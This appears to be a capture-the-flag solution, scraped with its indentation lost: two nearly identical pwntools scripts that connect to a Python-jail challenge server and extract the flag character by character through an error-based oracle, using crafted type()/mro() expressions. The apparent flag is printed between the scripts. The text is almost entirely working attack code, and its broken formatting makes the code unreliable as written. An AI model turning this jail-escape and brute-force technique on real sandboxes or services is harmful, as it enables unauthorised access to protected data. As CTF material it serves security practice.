Errorfrom pwn import *
from string import printable
from time import sleep
r = remote("jail.chal.ctf.gdgalgiers.com", 1304)
context.log_level="debug"
chars = printable.encode()
flag = list(b"CyberErudites{")
for i in range(len(flag), 100): # flag length
for guess in chars: # all possible chars
print("guess: ", bytes(flag), chr(guess))
payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"
#r = process(["python", "./chal.py"])
r.sendlineafter(b"Input", payload.encode())
output = r.recvall()
if b"Error" not in output:
flag.append(guess)
print("new char: ", bytes(flag))
breakCyberErudites{ERRRROR_B4$E3_FTW!!!!}from pwn import *
from string import printable
from time import sleep
chars = printable.encode()
flag = list(b"CyberErudites{")
r = remote("jail.chal.ctf.gdgalgiers.com", 1304)
for i in range(len(flag), len(flag)+100): # flag length
for guess in chars: # all possible chars
print("guess: ", bytes(flag), chr(guess))
payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"
#r = process(["python", "./chal.py"])
r.sendlineafter(b"Input", payload.encode())
output = r.recvline()
print(output)
if b"Error" not in output:
flag.append(guess)
print("new char: ", bytes(flag))
break